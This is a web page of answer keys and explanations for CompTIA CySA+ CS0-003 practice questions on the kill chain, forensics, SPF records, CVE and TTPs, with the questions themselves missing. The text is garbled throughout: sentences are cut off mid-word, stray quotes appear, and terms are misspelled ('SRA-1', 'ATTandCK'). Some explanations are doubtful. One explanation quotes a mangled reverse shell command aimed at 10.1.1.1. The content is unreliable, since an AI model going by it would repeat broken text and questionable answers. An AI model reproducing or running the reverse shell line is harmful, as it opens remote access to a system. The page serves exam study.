CS0-003 Online Practice Questions and Answers

Correct Answer: D

The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the vulnerabilities they have discovered in previous stages to further infiltrate a" objectives. In this case, the malicious actor has gained access to an internal network by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain. Official Reference: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

Correct Answer: C

Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and insecure configuration. Application security scanning can help identify and fix security issues before they become exploitable by attackers. Using application security scanning as part of the pipeline for the continuous integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security scanning can be integrated into the development lifecycle and performed automatically and frequently as part of the CI/CD process.

Correct Answer: B

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the " a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command: sh -i >and /dev/udp.1.1.11 0>$l This command is a shell script that creates a reverse shell connection from the target system to the "P address 10.1.1.1 and port 4821 using UDP protocol.

Correct Answer: A

The first action that the analyst should take in this case is to clone the virtual server for forensic analysis. Cloning the virtual server involves creating an exact" state at a specific point in time. Cloning the virtual server can help preserve and protect any evidence or information related to the security incident, as well as prevent any tampering, contamination, or destruction of evidence. Cloning the virtual server can also allow the analyst to safely analyze and investigate the incident without affecting the original server or its operations.

Correct Answer: A

" to the DNS record can help to prevent

outside entities from spoofing t"ich is comptia.org. This is an example of a Sender Policy Framework (SPF) record, which is a type of DNS record that specifies which mail servers are authorized to send email on behalf of a domain. SPF

records can help to prevent spoofing by allowing the recipient mail servers to check the validity of" " at the end of the SPF record indicates that any mail server that is not listed in the SPF record is not authorized to send email for comptia.org .

https://www.cloudflare.com/learning/ssl/what-is-domain-spoofing/

Correct Answer: B

Correct Answer: A

Correct Answer: D

A forensic analyst is conducting an investigation on a compromised server. The first step that the analyst should do to preserve evidence is to back up all log files and audit trails. This will ensure that the analyst has a copy of the original data that can be used for analysis and verification. Backing up the log files and audit trails will also prevent any tampering or modification of the evidence by the attacker or other parties. The other options are not the first steps or may alter or destroy the evidence. CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0- 002), page 16; https://www.nist.gov/publications/guide-collection-and-preservation-digital-evidence

Correct Answer: D

Making a forensic image of the device and creating a SRA-1 hash is the best step to preserve evidence, as it creates an exact copy of the device's data and verifies its integrity. A forensic image is a bit-by-bit copy of the device's storage media, which preserves all the information on the device, including deleted or hidden files. A SRA-I hash is a cryptographic value that is calculated from the forensic image, which can be used to prove that the image has not been altered or tampered with. The other options are not as effective as making a forensic image and creating a SRA-1 hash, as they may not capture all the relevant data, or they may not provide sufficient verification of the evidence's authenticity.

https://www.sans.org/blog/forensics-101-acquiring-an-image-with-ftk-imager/ https://swailescomputerforensics.com/digital-forensics-imaging-hash-value/

Correct Answer: B

Correct Answer: B

In case of a phishing attack, it's crucial to review what actions were taken by the employee and analyze the phishing email to understand its nature and impact.References: CompTIA CySA+ Study Guide: S0-003, 3rd Edition, Chapter 6, page 246; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 255.

Correct Answer: A

Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This is crucial in banking communications for legal and security reasons. The goal of allowing a message recipient to prove the message's origin is non-repudiation. This ensures that the sender cannot deny the authenticity of their message. Non- repudiation is a fundamental aspect of secure messaging systems, especially in banking and financial communications.

Correct Answer: A

Correct Answer: B

The Common Vulnerabilities and Exposures (CVE) is a public repository of standardized identifiers and descriptions for common cybersecurity vulnerabilities. It helps security analysts to identify, prioritize, and report on the most critical vulnerabilities in their systems and applications. The other options are not relevant for this purpose: Cyber Threat Intelligence (CTI) is a collection of information and analysis on current and emerging cyber threats; Cyber Analytics Repository (CAR) is a knowledge base of analytics developed by MITRE based on the ATTandCK adversary model; ATTandCK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.References: According to the CompTIA CySA+ Study Guide: S0-003, 3rd Edition1, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize and respond to attacks and vulnerabilities". The book also covers the usage and syntax of various cybersecurity frameworks and standards, such as CVE, CTI, CAR, and ATTandCK, in chapter 1. Specifically, it explains the meaning and function of each framework and standard, such as CVE, which provides a common language for describing and sharing information about vulnerabilities1, page 28. Therefore, this is a reliable source to verify the answer to the question.

Correct Answer: C

The analyst will be creating TTPs (Tactics, Techniques, and Procedures). TTPs describe the behavior, methods, and patterns used by attackers during a cyber attack. By focusing on TTPs, the analyst can develop a dynamic detection strategy that identifies malicious activities based on the observed behavior and patterns, rather than relying on static indicators like signatures or IOCs (Indicators of Compromise).